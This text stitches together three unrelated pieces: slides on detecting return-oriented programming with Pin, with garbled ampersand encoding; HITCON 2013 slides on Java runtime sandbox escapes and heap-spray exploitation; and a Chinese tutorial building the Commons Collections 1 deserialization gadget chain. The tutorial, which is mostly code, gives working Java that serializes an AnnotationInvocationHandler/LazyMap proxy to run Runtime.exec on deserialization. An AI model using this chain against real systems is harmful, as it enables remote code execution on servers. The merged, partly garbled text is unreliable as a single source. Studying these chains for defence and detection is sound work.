Who’s&this…&guy& • 10&years&on&the&defensive&side& • File&analysis&&&RE& • Recently&doing&research&using&machine& learning& Level&Se?ng& • ROP& • Technique&to&bypass&nonFexecutable&memory& • Bounce&around&in&memory&execuIng&small& gadgets&that&typically&end&with&a&return& instrucIon& • PIN& • Pin&is&a&dynamic&binary&instrumentaIon& framework&from&Intel& • Does&not&require&recompiling&of&source&&&&&&&&&&&& code&and&can&support&instrumenIng&&&&&&&&&& programs&that&dynamically&generate&code& Basic&Idea& • Control&flow&integrity& • Start&with&coarse&grain&controls& • We&know&valid&targets&for&calls&and&rets& • FuncIons& • InstrucIons&aQer&a&call&instrucIon& • A&whitelist&containing&these&addresses& • Store&the&offset&to&these&locaIons& • If&an&indirect&call&or&a&ret&goes&to&a&&&&&&&&&&&&&&&&&&&&&&&& different&locaIon,&then&ROP& How&Do&We&Get&Those?& • BranchTargetDetector&pintool& • When&DLL&is&loaded,&the&exported&funcIons& are&analyzed& • All&calls&and&returns&are&instrumented&&&&&&&&&&&&& as&well& • Offsets&are&stored&and&dumped&to&text&&&&&&&&&&& file&when&program&exits& BranchTargetDetector& • Pros& • We&get&real,&actual&used&values& • Cons& • Not&the&fastest&thing& • Only&get&values&from&funcIons&pin&can&&&&&&&&&&& detect&and&what&it&actually&executes& • If&DLL&isn’t&loaded,&you&don’t&get&data&&&&&&&&&&&&&&&&&&& for&it& • Must&run&mulIple&Imes& How&Else&Can&We&Get&Those?& • pyew& • Much&be[er&at&detecIng&funcIons& • Can&extract&the&flow&graphs& • Can&bulk&run&all&DLLs& Have&Data,&Now&What?& • Store&offsets&in&file&per&md5&hash&of&dll& • Allows&for&handling&of&different&versions&of&the& same&dll& ROPDetector& • When&a&DLL&is&loaded,&load&the&white&list&for& that&DLL& • Instrument&all&indirect&calls&and&RETs&and&alert& when&target&is&not&on&the&white&list& Example&1& • Adobe&Reader&9.3&on&Windows&XP& • 32dbd816b0b08878bd332eee299bbec4& • CVEF2010F2883& • StackFbased&buffer&overflow&in&CoolType.dll& DetecIon!& C:\Program Files\Adobe\Reader 9.0\Reader\icucnv36.dll 0x4a80cb3f: ret Target: 0x4a82a714 (0x2a714) & Yay?& • We&detected&one&of&the&ROP&chains& • Only&1& Let’s&Take&A&Look& Let’s&Take&A&Look& Let’s&Take&A&Look& Let’s&Take&A&Look& Why&Only&One?& • Dies&on&stack&pivot& • Pin&affects&memory&layout& • Run&everything&in&pin?& & How&Would&We&Have&Done?& • 45&chains&in&ROP&sequence& • Only&14&unique&addresses& • 2&indirect&calls,&43&returns& • 3&of&the&14&addresses&on&whitelist& • Each&address&only&called&once& • 42&of&45&chains&would&be&detected& & Example&2& • Adobe&Reader&9.5&on&Windows&XP& • 6776bda19a3a8ed4c2870c34279dbaa9& • CVEF2013F3346& • ToolBu[on&Use&AQer&Free& Example&2&Results& • Nothing,&just&Adobe&crashing& • Pin&affected&up&memory&layout&again& The&Neighborhood&Of&Make&Believe& • 208&chains&in&ROP&sequence& • Dominated&by&191&chain&sled& • Only&15&unique&addresses& • All&returns& • 3&of&the&15&addresses&on&whitelist& • 204&of&208&chains&would&be&detected& A&Li[le&Math& • Probability&of&detecIng&at&least&one&address& (assuming&11/14&detecIons&is&average)& & Unique Addresses Probability of Detection 1 78.6% 2 95.4% 3 99.0% 4 99.8% 5 99.96% 10 99.999980% A&Li[le&More&Math&&& • Probability&of&detecIng&at&least&one&address& (assuming&50%&detecIon&rate)& & Unique Addresses Probability of Detection 1 50.0% 2 75.0% 3 87.5% 4 93.8% 5 96.9% 10 99.9% LimitaIons& • Pin& • Breaks&on&stack&pivot& • Slow& • Doesn’t&handle&Jump&Oriented&&&&&& Programming&(JOP)& • Only&course&grained&control&flow&&&&&&&&&&& integrity& To&Do&List& • Figure&out&heap&problem& • Smarter&instrumentaIon& • Push&analysis&into&a&different&thread& • Check&for&JOP& • Implement&on&OS&X&and&Linux& • Implement&fine&grained&controls& • “The&Beast&Is&In&Your&Memory”&F&BH&2014& The&Beast& • Defeated&coarse&grained&CFI& • EMET& • This&current&implementaIon& • Defeated&return&frequency/sequence&length& heurisIcs& • Kbouncer& • ROPecker& Fine&Grained&CFI& • Currently&will&not&detect&that& • Only&that&funcIon&should&return&there& • Should&be&able&to&determine&these&&&&&&&&&&&&&&& pairs&during&iniIal&analysis&Ime& Smarter&Ways& • Debugger?& • Detours?& • Monitor&Last&Branch&MSRs?& Thanks!& • Contact&me& • @trogdorsey& • The&Code& • h[ps://github.com/trogdorsey/rop& & •  Further&Reading& •  h[ps://soQware.intel.com/enFus/arIcles/pinFaFdynamicFbinaryFinstrumentaIonFtool& •  h[ps://code.google.com/p/pyew/& •  h[p://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf& •  h[ps://users.ece.cmu.edu/~zongweiz/media/ropecker.pdf& •  h[ps://www.blackhat.com/usF14/briefings.html#theFbeastFisFinFyourFmemoryFreturnF orientedFprogrammingFa[acksFagainstFmodernFcontrolFflowFintegrityFprotecIonF techniques&
pdf
Exploiting JRE - JRE Vulnerability: Analysis & Hunting @Hitcon 2013 [email protected] [email protected] About Us • Xiao Lee(xye0x01),Sen Nie(nforest) • SHANGHAI JIAO TONG UNIVERSITY • Major in Computer Science and Technology • J2EE Development/Program Analysis/ JRE Vulnerability Research/XSS Abstract •Exploiting Applet •JRE Security Components •JRE Vulnerability •Hunting bugs in JRE •What’s next Exploiting Applet • JDK/JRE/JVM • Java Applet • <applet code=‘exploit.class’> • No DEP & ASLR Under JRE 6 • Objective: Oracle JRE/Apple JRE/ OpenJDK in Windows/Linux/Mac OS X Exploiting Applet 5% 10% 16% 32% 37% JRE Adobe Reader/Acrobat Adobe Flash MS IE Others Data from Java als Sicherheitsrisiko by Renato Ettisberger in 2011. JRE Security Components Comic from Security Issues of the Sandbox inside Java Virtual Machine (JVM) by Mohammad Shouaib Hashemi in 2010. Sandbox Restriction • Read/Write local files • Commands • Socket • Get system properties • Load libraries • ... JRE Security Components • Classloader • SecurityManager • doPrivileged block • Reflection • Package Access ClassLoader BootStrap Classloader Custom Classloader Extension Classloader Application Classloader Java C Java Java Trust all the classes it loaded Security checks Security checks Security checks SecurityManager • Key component of security checks • null in local Java Applications • sun.applet.AppletSecurity in Applets by default • System.setSecurityManager(null) • Find a way setting SecurityManager to null doPrivileged block AccessController. checkPermission() ... ... ... ... ... dangerous() ... AccessController. checkPermission() ... ... doPrivileged() ... ... dangerous() ... Function Stack Function Stack check check stop stop Exception Reflection • Get Class/Method/Constructor/Field object of a class • Field: get/set • Constructor: newInstance • Method: invoke • Java 7: MethodType & MethodHandle Package Access • Warnings in IDE like Eclipse • checkPackageAccess before execute • Security.getProperty(“package.acce ss”) • Simple but effective JRE Vulnerability • API Design Vulnerability • Unsafe use of reflect API • CVE-2012-4681 • CVE-2013-2423 • Bugs in Native Code Written by C • Overflow, etc. • CVE-2013-1493 CVE-2012-4681 • sun.awt.SunToolkit.getField CVE-2012-4681 • java.beans.Statement field “acc” • Statement s = new Statement(java.lang.System.class, “setSecurityManager”, new Object[] { null }); • s.execute(); CVE-2012-4681 • Privileged “acc” CVE-2012-4681 • Get private field “acc” with vulnerable method “getField” • field.set • Construct a “set-securityManager- null” Statement • statement.execute() CVE-2013-2423 • In JVM... • “int” takes 4 bytes • “long” takes 8 bytes • “Object” takes 4 bytes • Field “Type” in Integer/Long • JVM knows variables’ type according to field “Type” in class Integer/Long/Float/Double/... • Type confusion? How? • 1 “int” + 1 “Object” = 1 ”long” CVE-2013-2423 Step 1. Helper classes CVE-2013-2423 Step 2. Type confusion CVE-2013-2423 Step 3. Find & Set CVE-2013-1493 • What happened if “new int[8GB]” occurs? • Everything is an Object in OO • Gaining each Object in whole memory of the JVM • Exploiting Java big array CVE-2013-1493 java.awt.image.ColorConvertOp.filter sun.awt.color.ICC_Transform.colorConvert [native]sun.awt.color.CMM.cmmColorConver Java_sun_awt_color_CMM_cmmColorConvert ... initImageLayouts ... finishLayoutInit C CVE-2013-1493 • Create all needed objects • Heap spray (make the theAlphaPtrP available) • ColorConvertOp.filter • Find the location of “length” of bigArray • Assign 0x7FFFFFFF to “length” CVE-2013-1493 Hunting bugs in JRE • Key points to 2 kinds of JRE Vulnerability • API Design Vulnerability • Bugs in Native Code Written by C • Target JRE versions • Whitebox auditing / Fuzzing • Discovered bugs & exploitations • Issue #1~#5 Hunting bugs in JRE • Key points to hunting API Design Vulnerabilities • Trusted invoke chain • Params for exploiting • Reflection API surround with doPrivileged block • Key points to hunting Bugs in Native Code Written by C • Trusted invoke chain • Fuzzing Hunting API Design Vulnerabilities • Target JRE versions • OpenJDK 6/7 (available source code) • Reversing of Oracle JRE & Apple JRE (rt.jar; jad) • Whitebox auditing • Searching for “doPrivileged” • 435 classes in OpenJDK 6 • 634 classes in OpenJDK 7 • 341 classes in Apple JRE 6u27 Hunting Bugs in Native Code • Target JRE versions • OpenJDK 7 (available source code) • Whitebox auditing • Searching for “native” • Taking “invoke chain” into consideration • 65 native API to fuzzing • Fuzzing • Replacing params for dumb fuzzing Issue #1 • Discovered in OpenJDK 7-b147 • sun.awt.SunToolkit.getSystemProper ty • Sensitive info leak Issue #2 • Discovered in Apple JRE 6u27 under Mac OS X 10.6.8 • com.sun.org.apache.xalan.internal.utils.S ecuritySupport.getSystemProperty • Sensitive info leak Issue #2 Issue #3 • Discovered in Apple JRE 6u27 under Mac OS X 10.6.8 • com.apple.eio.FileManager.moveToTrash • File probe Issue #3 Issue #4 • Discovered in Apple JRE 6u27 • Exploitable under Oracle JRE 7u5 as well (Windows or Mac OS X) • com.sun.org.apache.xalan.internal.utils.O bjectFactory.findProviderClass • Getting any class object Issue #5 • Discovered in Oracle JRE 7u5 • sun.java2d.DefaultDisposerRecord.invokeNa tiveDispose • Taking over of EIP & EAX • Class.forName in trusted code is needed Call This Address(EIP) Get data (EAX) Exploit of Issue #4+#5 • Expression of findProviderClass • Gaining class object of invokeNativeDispose • Heap spray: new byte[large] • Filling shellcode • Assigning EIP param Demo What’s Next • Bypass “click-and-play” after 7u9 • Social Engineering • Load “.ser” file under Oracle JRE 7u10 • File type resolving bugs in native code • Pwn2own 2013. Java Memory Corruption in resolving “.otf” files • Smart Fuzzing & Program Analysis Reference • OpenJDK • Java als Sicherheitsrisiko. Renato Ettisberger. 2011. • Security Issues of the Sandbox inside Java Virtual Machine(JVM). Mohammad Shouaib Hashemi. 2010. • Security Vulnerabilities in Java SE. Security Explorations. 2012. • Inside the Java2 Virtual Machine. Bill Venners. 2000. • Comparing Java and .NET Security. Nathanael Paul, David Evans. 2006. Acknowledgement • Professors and partners in our lab • Researchers in security community • Everybody who shared their paper on the Internet Thank you! Q&A
pdf
CommonCollection1 InvokeTransformer // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.apache.commons.collections.functors; import java.io.Serializable; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.Transformer; public class InvokerTransformer implements Transformer, Serializable {    static final long serialVersionUID = -8653385846894047688L;    private final String iMethodName;    private final Class[] iParamTypes;    private final Object[] iArgs;    public static Transformer getInstance(String methodName) {        if (methodName == null) {            throw new IllegalArgumentException("The method to invoke must not be null");       } else {            return new InvokerTransformer(methodName);       }   }    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {        if (methodName == null) {            throw new IllegalArgumentException("The method to invoke must not be null");       } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {            throw new IllegalArgumentException("The parameter types must match the arguments");       } else if (paramTypes != null && paramTypes.length != 0) {            paramTypes = (Class[])paramTypes.clone();            args = (Object[])args.clone();            return new InvokerTransformer(methodName, paramTypes, args);       } else {            return new InvokerTransformer(methodName);       }   }    private InvokerTransformer(String methodName) {        this.iMethodName = methodName;        this.iParamTypes = null; 这是一个单例模式设计的类,通过transform方法使用反射执行代码。传入参数为一个对象。        this.iArgs = null;   }    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        this.iMethodName = methodName;        this.iParamTypes = paramTypes;        this.iArgs = args;   }    public Object transform(Object input) {        if (input == null) {            return null;       } else {            try {                Class cls = input.getClass();                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);                return method.invoke(input, this.iArgs);           } catch (NoSuchMethodException var5) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");           } catch (IllegalAccessException var6) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");           } catch (InvocationTargetException var7) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);           }       }   } } 、 调用方式:        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});        invokerTransformer.transform(Runtime.getRuntime()); 之后尝试搜索有什么地方调用了 invokeTransformer.transform 方法,同搜索 transform 关键字,找 到几处: 构造链中使用的是 ChainedTransformer ,这里的 SwitchTransformer 也有 ChainedTransformer 的 特点,不过多追加了一个判断。 通过 ChainedTransformer 调用 InvokeTransformer 执行命令:        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});       // invokerTransformer.transform(Runtime.getRuntime());        Transformer[] transformers={            new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传 进去一个对象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一 个对象。            invokerTransformer}; //       Transformer[] transformers=new Transformer[]{ //           new ConstantTransformer(Runtime.getRuntime()), //           new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}), //       };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        chainedTransformer.transform(""); 此处 ConstantTransformer 类的作用是自动返回一个对象。 TransformedMap TransformedMap 用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可 以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的 outerMap 即是修饰后的Map: 通过static方法创建一个 TransformedMap 对象,其中, keyTransformer 或者 valueTransformer 属 性就是回调方法,之后调用 put 方法存储数据,会进行数据整理,第71,72行就调用 transformKey 或 transformValue 方法,然后调用回调方法。 完整的代码: public static void main(String[] args) throws Exception {        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});       // invokerTransformer.transform(Runtime.getRuntime());        Transformer[] transformers={            new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传 进去一个对象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一 个对象。            invokerTransformer}; //       Transformer[] transformers=new Transformer[]{ //           new ConstantTransformer(Runtime.getRuntime()), //           new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}), 到此触发代码执行的逻辑已经完全清楚了,我们的`demo`中核心部分就在向`outermap`中添加一个 新的原素。 因此要找到一个`readObject`方法能够自动执行这个添加元素的操作,从而触发反序列化。 如何执行outerMap.put-- AnnotationInvocationHandler //       };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        //chainedTransformer.transform("");  //System.out.println(Runtime.getRuntime().getClass().getMethod("exec",String.cl ass).invoke(Runtime.getRuntime(),"calc.exe"));        //Runtime.getRuntime().exec()        Map innerMap=new HashMap();        Map outerMap= TransformedMap.decorate(innerMap,null,chainedTransformer);        outerMap.put("test","xxx");  //调用的是TransformedMap类中的put方法。   } public class CommonCollections3 {    public static void main(String[] args) throws Exception {        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});       // invokerTransformer.transform(Runtime.getRuntime());        Transformer[] transformers={            new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传 进去一个对象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一 个对象。            invokerTransformer}; //       Transformer[] transformers=new Transformer[]{ //           new ConstantTransformer(Runtime.getRuntime()), //           new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}), //       };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        //chainedTransformer.transform("");  //System.out.println(Runtime.getRuntime().getClass().getMethod("exec",String.cl ass).invoke(Runtime.getRuntime(),"calc.exe"));        //Runtime.getRuntime().exec()        Map innerMap=new HashMap();        Map outerMap= TransformedMap.decorate(innerMap,null,chainedTransformer);        outerMap.put("test","xxx");  //调用的是TransformedMap类中的put方法。        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        Object obj = constructor.newInstance(Retention.class, outerMap);        ByteArrayOutputStream barr=new ByteArrayOutputStream();        ObjectOutputStream oos=new ObjectOutputStream(barr); 此处生成序列化流时会报一个错误: 因为 Runtime 类没有实现 serializable 接口,所以这里不能被反序列化。需要简单的修改上面的链: Runtime 类没有实现 serializable 接口不能反序列化,但是 Class 类实现了,所以我们在 ConstantTransformer 这里传入 Runtime 类的类对象,然后利用 Class类对象 当中的 getMethod 方法 获取到 getRuntime 方法,之后调用 java.lang.reflect.Method 类中的 invoke 方法执行 getRuntime 方法,返回一个 Runtime 对象;        oos.writeObject(obj);        oos.close();   } } public static void main(String[] args) throws Exception {        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});       // invokerTransformer.transform(Runtime.getRuntime()); //       Transformer[] transformers={ //           new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer 传进去一个对象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入 一个对象。 //           invokerTransformer}; //此处因为Runtime类没有实现serializable接口,所以无 法被反序列化,需要修改链。        Transformer[] transformers={            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),//通过 InvokerTransformer方法获取getRuntime方法            new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[]{null,new Object[0]}),  //If the underlying method is static, then the specified obj argument is ignored. It may be null.            invokerTransformer,       };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        chainedTransformer.transform(""); } package reflect2; import java.lang.reflect.Method; public class calc { 在执行上述修改后的代码,进行序列化时还是会爆出一个错误: 这个错误经过调试之后发现是因为执行 InvokeTransformer 的 transform 对象之后返回的对象类型为 ProcessImpl ,导致 put 方法的 value 值为这个类,而这个类是没有实现接口无法被序列化的。 解决方法,再传入一个 ConstantTransformer 对象,将值设为1,这样再次调用 tranform 方法时就会    public static void main(String[] args) throws Exception{       // Runtime.getRuntime().exec("calc.exe");                try{            Object runtime=Class.forName("java.lang.Runtime")                   .getMethod("getRuntime")   //此次是通过getRuntime方法返回一个 runtime对象。具体内容可见Runtim类                   .invoke(null); //此处getRuntime是一个静态方法,反射调用不需要传入对 象 //If the underlying method is static, then the specified obj argument is ignored. It may be null.            Class.forName("java.lang.Runtime")                   .getMethod("exec",String.class)                   .invoke(runtime,"calc.exe");//       }catch (Exception e){            System.out.println(e);       }        try{            Class runtime2=Runtime.class.getClass();            Method method=runtime2.getMethod("getMethod",String.class,Class[].class);            System.out.println(method);            Method runtimeObj= (Method) method.invoke(Runtime.class,"getRuntime",new Class[0]);            System.out.println(runtimeObj);            Object demo1=runtimeObj.invoke(null, new Object[0]);            System.out.println(demo1);            Class.forName("java.lang.Runtime")                   .getMethod("exec",String.class)                   .invoke(demo1,"calc.exe");            //method.exec("calc.exe");       }catch (Exception e){            e.printStackTrace();       }   } } 返回传入的1 这里有一个点就是,经过上面的构造链计算之后, Map 中的所有键对应的值都会变成1。 PS:这里有一个点需要注意的,就是关于 innerMap 和 outerMap 的使用 此处使用 innerMap 首先存入数据,那么 put 数据的时候不会触发构造链,并且不会报上面的错误,并 且下一步只会将 ChainedTransformer 赋值到 outMap 当中。 一开始使用 outerMap 存放数据,那么在put的时候就会触发构造链,并且会触发上面的报错。 public class CommonCollections3 {    public static void main(String[] args) throws Exception {        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});       // invokerTransformer.transform(Runtime.getRuntime()); //       Transformer[] transformers={ //           new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer 传进去一个对象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入 一个对象。 //           invokerTransformer}; //此处因为Runtime类没有实现serializable接口,所以无 法被反序列化,需要修改链。        Transformer[] transformers={            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),//通过 InvokerTransformer方法获取getRuntime方法            new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[]{null,new Object[0]}),            invokerTransformer,            new ConstantTransformer(1),       };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        chainedTransformer.transform("");   } } 关于AnnotationInvocationHandler 在通过var5.setValue的过程就会像我们之前分析的一样,有一个通过 outermap 进行添加元素的操作。 仔细分析一下。 AnnotationInvocationHandler的调用与初始化 AnnotationInvocationHandler 是JDK的内部类,不能通过new的方式来进行创建,所以此处使用java 反射的方式进行调用。 version:8u66 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {        var1.defaultReadObject();        AnnotationType var2 = null;        try {            var2 = AnnotationType.getInstance(this.type);       } catch (IllegalArgumentException var9) {            throw new InvalidObjectException("Non-annotation type in annotation serial stream");       }        Map var3 = var2.memberTypes();        Iterator var4 = this.memberValues.entrySet().iterator();        while(var4.hasNext()) {            Entry var5 = (Entry)var4.next();            String var6 = (String)var5.getKey();            Class var7 = (Class)var3.get(var6);            if (var7 != null) {                Object var8 = var5.getValue();                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));               }           }       }   } Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        //Object obj = constructor.newInstance(Retention.class, outerMap);        //Retention.class;        InvocationHandler handler= (InvocationHandler)constructor.newInstance(Counter.class, outerMap); 第二部分,就是关于调用 newInstance 进行初始化。在这一步中,需要来阅读 AnnotationInvocationHandler 源码查看如何进行初始化。 首先传递两个参数 var1 和 Map ,其中这个 var1 是一个Class类型且必须继承 Annotation 类。这里的 Annotation 类就是java的注解了,java中所有的注解都继承自该类。且该类是个接口类型,无法直接创 建子类。而且无法通过实现该接口,再继承的方式去实现。 也就是这种方式创建是无法完成初始化的。 这里可以直接自定义一个注解,因为每一个注解都继承自 Annotation 类。 之后通过 getInterfaces() 方法获取到 var1 所实现的第一个接口对象。然后使用 isAnnotation 方法 检查 var1 是不是 Annotation 注解类型,并判断获取到的第一个接口对象是不是 Annotation 类型。之 后将 AnnotationInvocationHandler 类的 type 属性赋值 var1 , memberValues 属性赋值 var2 。 AnnotationInvocationHandler的反序列化    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {        Class[] var3 = var1.getInterfaces();        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {            this.type = var1;            this.memberValues = var2;       } else {            throw new AnnotationFormatError("Attempt to create proxy for a non- annotation type.");       }   } class a implements Annotation{    @Override    public Class<? extends Annotation> annotationType() {        return null;   } } class b extends a{} 上图, readObject 方法 首先是创建一个 AnnotionType 类型的变量 var2 ,然后通过 AnnotionType.getInstance 方法获取到 this.type 的Class类对象。这里的 this.type 属性根据之前的分析,就是我们传递的第一个变量,一 个 interface SecurityRambling.Counter 。这里的使用的 AnnotationType.getInstance 方法作用 是获取注解类本身。 详细信息:AnnotationType类型介绍 之后可以看到获取到的 var2 变量的属性,其中 memberTypes 属性中保存的是当前注解拥有的方法。是 一个 HashMap 类型。 @interface Counter {    test count();    String a(); } enum test{    CLASS,    SOURCE,    RUNTIME, } 之后将 memberTypes 属性的值赋值给 var3 ,然后创建一个迭代器,迭代器的内容就是之前存入的 TransformedMap 类型的值。 之后继续,对迭代器进行遍历。 此处可以看到,首先从迭代器取出一个值,赋值给 var5 ,然后获取到 var5 的键为 demo ,之后在 var3 中寻找键名为 demo 的值,这个 var3 存放的当前注解所有的接口方法。而当前接口没有一个名为 demo 的方法,因此 var7 为null,然后跳过 setValue 的步骤。直接返回。 此处我们要想 var7 不为null,就必须在生成序列化链的时候,通过 outermap 存入一个键值,且键名必 须为 AnnotationInvocationHandler 类初始化时传进去的注解的其中一个方法名。所以构造链应该如 下: 继续调试。 此时 var7 不为null,进入到if结构当中,然后获取到 var5 的值,赋值给 var8 ,可以看到 var8 为int类 型的1,这个值与我们构造链中的最后一次创建 ConstantTransformer 对象传递的值有关系,是我们可 以人为控制的。然后通过两个判断,根据逻辑两个判断都必须为false,才能进入到 setValue 方法。 第一个判断: java.lang.Class类的isInstance()方法用于检查指定的对象是否兼容分配给该Class的实例。如果指定 对象为非null,并且可以强制转换为此类的实例,则该方法返回true。否则返回false。 用法: public boolean isInstance(Object object) 参数:此方法接受object作为参数,这是要检查与此Class实例的兼容性的指定对象。 返回值:如果指定对象为非null,并且可以强制转换为此类的实例,则此方法返回true。否则返回false 第二个判断 instanceof 严格来说是Java中的一个双目运算符,用来测试一个对象是否为一个类的实例 此处 var7 为 String 类型, var8 为 Integer 类型,两个判断都为False,进入到 setValue 方法。进 入 setValue 方法之后还有一系列的操作,最后在此处产生了类似 outerMap.put() 的操作,并触发构 造链。 到此,整个构造链第一部分的分析结束。 LazyMap代替TransformedMap 原因 在高版本中 AnnotationInvocationHandler 类中的readObject方法被修改了,使用重新生成的 LinkHashMap来进行数据操作,因此反序列化的过程中不会再触发put的操作。 所以在yso中使用 LazyMap 对 TransformedMap 进行替换。 LazyMap public class LazyMap extends AbstractMapDecorator implements Map, Serializable {    private static final long serialVersionUID = 7990956402564206740L;    protected final Transformer factory;    public static Map decorate(Map map, Factory factory) {        return new LazyMap(map, factory); LazyMap 也是通过 decorate 方法在创建对象的时候将 factory 属性赋值为 chainedTransformer ,之 后通过 get 方法获取一个不存在的键值对时就会通过 factory 方法去获取一个值,也就是在这个地方可 以触发构造链。   }    public static Map decorate(Map map, Transformer factory) {        return new LazyMap(map, factory);   }    protected LazyMap(Map map, Factory factory) {        super(map);        if (factory == null) {            throw new IllegalArgumentException("Factory must not be null");       } else {            this.factory = FactoryTransformer.getInstance(factory);       }   }    protected LazyMap(Map map, Transformer factory) {        super(map);        if (factory == null) {            throw new IllegalArgumentException("Factory must not be null");       } else {            this.factory = factory;       }   }    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {        in.defaultReadObject();        super.map = (Map)in.readObject();   }    public Object get(Object key) {        if (!super.map.containsKey(key)) {            Object value = this.factory.transform(key);            super.map.put(key, value);            return value;       } else {            return super.map.get(key);       }   } } 找到了 LazyMap 触发构造链的点,之后要考虑如何在反序列化的时候执行这个 get 方法,还是利用 AnnotationInvocationHandler 类,但是这个类的 readObject 方法是没有触发 get 方法的操作的。 但是 invoke() 方法中有一个 get 的操作。 那么问题就转移到如何在反序列化的过程中执行这个 invoke 方法。 Java对象代理 详细可以看java代理类的学习。 自定义一个handle继承自InvocationHandler,然后实现invoke方法,劫持get方法的执行流程。 class Handle implements InvocationHandler{    protected  Map map;    public Handle(Map map) {        this.map = map;   }    @Override    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        if(method.getName().equals("get")){            System.out.println("正在调用get方法"); //通过此次劫持get执行流程。            return "hack job";       }        return method.invoke(map,args);   } } 重回LazyMap 还是来关注 sun.reflect.annotation.AnnotationInvocationHandler 类,可以发现他是一个本身就 实现了InvocationHandle接口的类,实现了 invoke 方法,那么我们只要创建一个 outerMap 的代理 类, handler 参数传递为 sun.reflect.annotation.AnnotationInvocationHandler ,那么我们就可 以劫持 outerMap 执行 get 方法的流程。        HashMap innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);        //outerMap.get(1);        //生成动态代理对象        Map proxyInstance = (Map)Proxy.newProxyInstance(            Map.class.getClassLoader(),            new Class[]{Map.class},            new Handle(outerMap)       );        outerMap.put("hello","world");        Object hello = proxyInstance.get("hello");        System.out.println(hello); 所以整个调用构造链的方法修改为如下形式:        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Counter.class, outerMap);        Map proxyMap =(Map) Proxy.newProxyInstance(            Map.class.getClassLoader(),            new Class[]{Map.class},            handler  //将handler传递进去,之后 sun.reflect.annotation.AnnotationInvocationHandler方法就会劫持原本的get方法。       );        proxyMap.entrySet();// 最开始使用 proxyMap.get(1) 的方式来触发 invoke ,但是一直报错。 这个错误是在 invoke 方法中触发的,因为传递的是一个有参方法,经过 getParameterTypes 获取参数 类型的时候不为0,所以直接抛出异常。改为无参的方法再劫持就能成功触发构造链了。 经过劫持之后, outerMap 对象已经变成了 proxyMap 对象了,现在就是要想办法再 readObject 方法中 让这个proxyMap调用一个无参方法,就可以完成整个构造链。回到 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 方法当中。 在readObject方法当中通过获取到 memberValues 属性值,赋值给 var4 ,然后 var4 也调用了一个无参 的方法。所以这个readObject本身就可以满足要求,所以再创建一个 AnnotationInvocationHandler 对象,然后将其序列化就可以满足要求。 构造链调试和疑问 1、在jdk1.8.0_131中直接报错。在jdk1.8.0_66中成功弹计算机。 因为jdk版本跟新之后修改了 